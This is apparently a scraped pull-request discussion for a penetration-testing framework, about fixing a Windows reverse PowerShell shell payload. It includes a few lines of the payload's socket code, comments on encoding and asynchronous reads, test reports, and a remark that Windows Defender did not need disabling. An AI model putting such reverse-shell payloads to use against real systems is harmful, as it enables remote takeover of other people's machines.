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fix #12579, fix the cmd/windows/reverse_powershell payload #12945
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$c=New-Object system.net.sockets.tcpclient; | ||
$nb=New-Object System.Byte[] $c.ReceiveBufferSize; | ||
$ob=New-Object System.Byte[] 65536; | ||
$e=new-object System.Text.AsciiEncoding; |
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+1 vote for the use of System.Text.UTF8Encoding
instead?
$e = new-object System.Text.UTF8Encoding;
Be sure to use the above instead of System.Text.Encoding.UTF8
to avoid Byte Order Mark support.
Release NotesThis PR switches the powershell payload to an asynchronous read, preventing some issues where we return before we have a message. |
This PR appears to have fixed the issue by breaking A session is created, but there's no command prompt banner, and commands aren't executed.
Windows 7 SP1 (x64).
|
This pull request fixes the cmd/windows/reverse_powershell payload so that it can pass output data to the socket asynchronously.
At the time of writing you do not need to disable Windows defender (until you do session -u)
Verification
session -u 1
works now